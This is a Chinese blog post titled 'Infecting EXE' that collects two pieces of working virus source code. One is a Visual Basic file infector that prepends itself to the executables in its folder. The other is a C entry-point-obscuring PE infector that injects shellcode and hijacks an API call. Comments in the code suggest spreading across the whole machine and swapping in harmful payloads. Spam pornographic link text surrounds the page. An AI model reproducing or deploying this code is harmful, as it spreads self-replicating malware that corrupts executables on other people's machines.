青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

感染EXE

收集兩篇感染exe的文章,有時間了把它寫出來

VB:

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代碼
Private hArray() As Byte '要感染的文件的代碼
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出錯處理

'原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'這是在讀自己的代碼


Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'讀出病毒自身的代碼


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保證被感染的不是空文件(不是圈套)
End If
End If
'讀出準備被感染的文件的代碼

Victim = Dir() 'Next

Wend

'下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出錯處理,空著就可以了

End Sub



VC:

/**************************************************************
* 函數:InjectCode
* 參數:char szHostFile[]--待感染的exe文件路徑

* 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
* 從代碼節開始搜索,替換第一個發現的call api的指令
* 把目標代碼插入代碼節的尾部
* 代碼僅供演示之用,沒有做過多的錯誤處理
* 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 編譯:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改為當前系統的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

posted on 2007-10-08 14:21 葉子 閱讀(1076) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            麻豆91精品| 欧美高清在线播放| 老司机久久99久久精品播放免费| 亚洲国产精品一区二区第一页| 亚洲精品中文字幕在线| 久久久久久**毛片大全| 国产精品视频免费一区| 一本一本久久a久久精品综合麻豆| 两个人的视频www国产精品| 性感少妇一区| 国产日韩欧美不卡| 午夜精品一区二区在线观看| 亚洲精品欧美一区二区三区| 欧美高清视频免费观看| 亚洲精品久久久久久久久久久| 蜜臀久久99精品久久久久久9| 久久久久国产一区二区三区四区| 极品少妇一区二区三区精品视频| 欧美在线视频观看| 欧美一区=区| 狠狠狠色丁香婷婷综合久久五月 | 99精品免费视频| 亚洲韩国青草视频| 欧美精品高清视频| 亚洲一区二区在线播放| 亚洲特级毛片| 国产亚洲欧洲一区高清在线观看 | 中文在线一区| 欧美亚洲在线观看| 国产一区二区三区在线观看精品| 香蕉久久夜色精品国产| 午夜在线电影亚洲一区| 韩国三级电影久久久久久| 久久夜色精品国产| 免费不卡亚洲欧美| 一本一本久久| 午夜精品福利一区二区蜜股av| 国产亚洲免费的视频看| 蜜桃精品久久久久久久免费影院| 你懂的一区二区| 亚洲一区免费| 国产精品久久久久久久久借妻| 欧美成人官网二区| 国产午夜精品久久久久久免费视| 欧美日韩中文精品| 亚洲欧美影院| 欧美日在线观看| 一本色道久久综合亚洲91| 亚洲第一色中文字幕| 欧美日韩在线大尺度| 欧美在线网站| 欧美精品一区二区三区在线看午夜 | 免费亚洲一区二区| 亚洲一区二区三区在线观看视频| 免费成人你懂的| 一本一本大道香蕉久在线精品| 国产精品嫩草99a| 麻豆视频一区二区| 国产精品户外野外| 欧美激情欧美狂野欧美精品| 国产精品乱码妇女bbbb| 亚洲九九九在线观看| 老色批av在线精品| 午夜伦欧美伦电影理论片| 亚洲黄色免费| 西西人体一区二区| 在线综合亚洲| 欧美3dxxxxhd| 米奇777超碰欧美日韩亚洲| 国产精品裸体一区二区三区| 亚洲黑丝在线| 亚洲夫妻自拍| 久久精品国产亚洲5555| 欧美一区二区三区四区在线| 欧美激情自拍| 亚洲电影免费在线 | 亚洲激情二区| 午夜精品福利电影| 午夜日韩在线| 国产精品激情电影| 亚洲精品永久免费| 亚洲精品在线视频观看| 久久亚洲私人国产精品va| 久久国产直播| 国产欧美亚洲精品| 亚洲一区在线免费| 亚洲制服av| 欧美日韩免费一区二区三区| 免费影视亚洲| 亚洲成人在线观看视频| 久久精品国产精品亚洲综合| 久久爱www.| 国产一区二区三区在线观看视频| 亚洲一区二区黄色| 一本色道久久综合狠狠躁篇怎么玩| 免费高清在线视频一区·| 玖玖玖国产精品| 在线免费观看视频一区| 裸体一区二区三区| 欧美激情四色 | 亚洲一区二区三区免费在线观看| 99re6这里只有精品| 欧美日韩国产综合一区二区| 亚洲人午夜精品| 亚洲私拍自拍| 国产精品久线观看视频| 亚洲天堂久久| 久久精品国产精品亚洲| 在线观看不卡av| 欧美黑人国产人伦爽爽爽| 亚洲成色www8888| 99在线热播精品免费99热| 欧美日韩精品免费观看视频完整| 一区二区三区高清在线观看| 亚洲欧美在线另类| 国产综合色在线| 久久影院午夜论| 亚洲精品欧美专区| 亚洲欧美日韩人成在线播放| 国产精品日本欧美一区二区三区| 欧美亚洲色图校园春色| 欧美成人精精品一区二区频| 日韩午夜在线| 国产精品男人爽免费视频1| 欧美一二区视频| 亚洲电影激情视频网站| 一区二区精品在线| 国产精品亚洲片夜色在线| 久久久久一区二区三区四区| 亚洲欧洲精品天堂一级 | 久久九九热re6这里有精品| 欧美成人网在线| 亚洲欧美日韩成人| 在线看片一区| 国产欧美精品日韩区二区麻豆天美| 久久久久久久尹人综合网亚洲| 亚洲人成高清| 久久久精彩视频| 中文在线一区| 亚洲激情成人| 国产精品一二三四区| 欧美二区不卡| 久久国产精品亚洲va麻豆| 亚洲伦伦在线| 欧美大片在线观看一区| 亚洲一区视频在线观看视频| 欧美日韩视频| 亚洲毛片在线| 99re国产精品| 欧美日韩亚洲视频一区| 在线视频日本亚洲性| 一区二区三区欧美| 亚洲日韩中文字幕在线播放| 欧美国产在线观看| 免费观看欧美在线视频的网站| 欧美激情国产精品| 久久国产精品久久国产精品| 亚洲精品国久久99热| 国产中文一区二区| 国产精品美女主播在线观看纯欲| 欧美成人69| 久久一区国产| 久久精品国产亚洲一区二区三区 | 久久夜色精品国产噜噜av| 亚洲欧美卡通另类91av| 欧美专区在线| 久久久久久夜精品精品免费| 亚洲一区二区黄色| 一区二区三区 在线观看视| 亚洲国产精品第一区二区三区| 欧美淫片网站| 欧美一区观看| 欧美一级久久久| 亚洲综合激情| 亚洲摸下面视频| 亚洲欧美变态国产另类| 中文亚洲免费| 亚洲一区免费| 性欧美大战久久久久久久久| 亚洲欧美激情一区二区| 亚洲欧美日韩视频二区| 欧美亚洲一区二区在线| 午夜欧美精品久久久久久久| 亚洲在线观看免费| 亚洲欧美经典视频| 欧美一区三区三区高中清蜜桃| 亚洲欧美第一页| 欧美一区免费| 久久久噜噜噜久噜久久| 另类激情亚洲| 欧美黄色视屏| 99re8这里有精品热视频免费| 一区二区福利| 亚欧美中日韩视频| 久久婷婷丁香| 欧美日本在线看| 国产精品美女久久久久久2018| 国产欧美在线看| 亚洲国产老妈| 亚洲午夜视频在线|